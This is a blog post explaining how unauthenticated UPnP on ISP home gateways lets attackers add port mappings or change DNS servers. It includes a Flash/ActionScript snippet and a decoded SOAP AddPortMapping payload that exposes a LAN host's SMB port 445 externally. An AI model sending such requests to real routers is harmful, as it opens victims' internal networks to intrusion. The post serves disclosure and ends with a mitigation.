A poisoned gift from your ISP

Happy world
GNUCitizen posted a very interesting article about internet gateway security.
Every ISP provides his own ADSL modem (in France : Livebox, Freebox, Alicebox, …) and uPnP is often enabled. uPnP is a set of protocols which tries to simplify the implementation of networks in the home. Devices and applications (such as MSN, eMule, …) use that to configure your router without any human intervention. It depends on which service is provided by the Internet Gateway Device (IGD). See the specifications for further details. Here you can find a good tool to know more about your device.

I focus only on aspects which can lead to security issues. Mainly, uPnP can add a PortMapping, reset a connection, or even change the DNS server.

Firstly, uPnP doesn’t need authentication to work. Yeah I know it’s amazing, you have to log on your gateway interface if you want to do some administration tasks and not if you use uPnP…
As you understand yourself, if an attacker can change your DNS server, he can redirect your DNS requests to him and thus intercept your internet traffic,… In the same manner, he can add some port forwarding rules to expose your local network or your gateway interface. He can do that by using AddPortMapping action.

Arguments :
NewRemoteHost IN RemoteHost
NewExternalPort IN ExternalPort
NewProtocol IN PortMappingProtocol
NewInternalPort IN InternalPort
NewInternalClient IN InternalClient
NewEnabled IN PortMappingEnabled
NewPortMappingDescription IN PortMappingDescription
NewLeaseDuration IN PortMappingLeaseDuration

But something more surprizing is that in the specification we can read that InternalClient have to be a string of the type “x.x.x.x”.
If the router doesn’t check the NewInternalClient argument, we can put here any IP we want and specially an outside one. Thereby, an attacker can use that to proxify his own traffic toward a victim server (InternalClient).

Ok, I know that you are wondering how it is possible for an outsider attacker to do that as he can’t send his requests to internal address of the gateway (usually 192.168.0.1 or 192.168.1.1 or …). GNUCitizen demonstrates that you need to use an internal host to send your crafted requests. The stealthiest way is the use of Flash or an existing XSS vulnerability on your router.

Modified code from GNUCitizen (compile it with flex):

private function onAppInit():
{
var r:URLRequest = new URLRequest('http://192.168.1.1:49152/upnp/control/WANIPConn1');
r.method = 'POST';
r.data = unescape('%3C%3Fxml%20version%3D%221.0%22%3F%3E%3CSOAP-ENV%3AEnvelope%20xmlns%3ASOAP-ENV
%3D%22http%3A//schemas.xmlsoap.org/soap/envelope/%22%20SOAP-ENV%3AencodingStyle%3D%22http%3A//schema
s.xmlsoap.org/soap/encoding/%22%3E%3CSOAP-ENV%3ABody%3E%3Cm%3AAddPortMapping%20xmlns%3Am%3D%22urn
%3Aschemas-upnp-org%3Aservice%3AWANIPConnection%3A1%22%3E%3CNewRemoteHost%20xmlns%3Adt%3D%22urn
%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E%3C/NewRemoteHost%3E%3CNewExt
ernalPort%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E133
7%3C/NewExternalPort%3E%3CNewProtocol%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22
%20dt%3Adt%3D%22string%22%3ETCP%3C/NewProtocol%3E%3CNewInternalPort%20xmlns%3Adt%3D%22urn%3Aschem
as-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22ui2%22%3E445%3C/NewInternalPort%3E%3CNewInternalClient
%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3E192.168.1
.64%3C/NewInternalClient%3E%3CNewEnabled%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes
%22%20dt%3Adt%3D%22boolean%22%3E1%3C/NewEnabled%3E%3CNewPortMappingDescription%20xmlns%3Adt%3D%22
urn%3Aschemas-microsoft-com%3Adatatypes%22%20dt%3Adt%3D%22string%22%3EEVILFORWARDRULE2%3C/NewPortMa
ppingDescription%3E%3CNewLeaseDuration%20xmlns%3Adt%3D%22urn%3Aschemas-microsoft-com%3Adatatypes%22%20
dt%3Adt%3D%22ui4%22%3E0%3C/NewLeaseDuration%3E%3C/m%3AAddPortMapping%3E%3C/SOAP-ENV%3ABody%3E%3C/
SOAP-ENV%3AEnvelope%3E');
r.contentType = 'text/xml';
r.requestHeaders.push(new URLRequestHeader('SOAPAction', '"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"'));
sendToURL(r);
}

Let me show you the payload in a more comprehensible form :

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string"></NewRemoteHost>
<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">1337</NewExternalPort>
<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">TCP</NewProtocol>
<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui2">445</NewInternalPort>
<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">192.168.1.64</NewInternalClient>
<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="boolean">1</NewEnabled>
<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="string">EVILFORWARDRULE2</NewPortMappingDescription>
<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes" dt:dt="ui4">0</NewLeaseDuration>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

A good way to prevent a remote exploitation is to randomize the port used to send your uPnP request at each router startup (such as LiveBox Pro).

A very good paper : SANE 2006

DotSafe sécurité informatique à Bordeaux


About this entry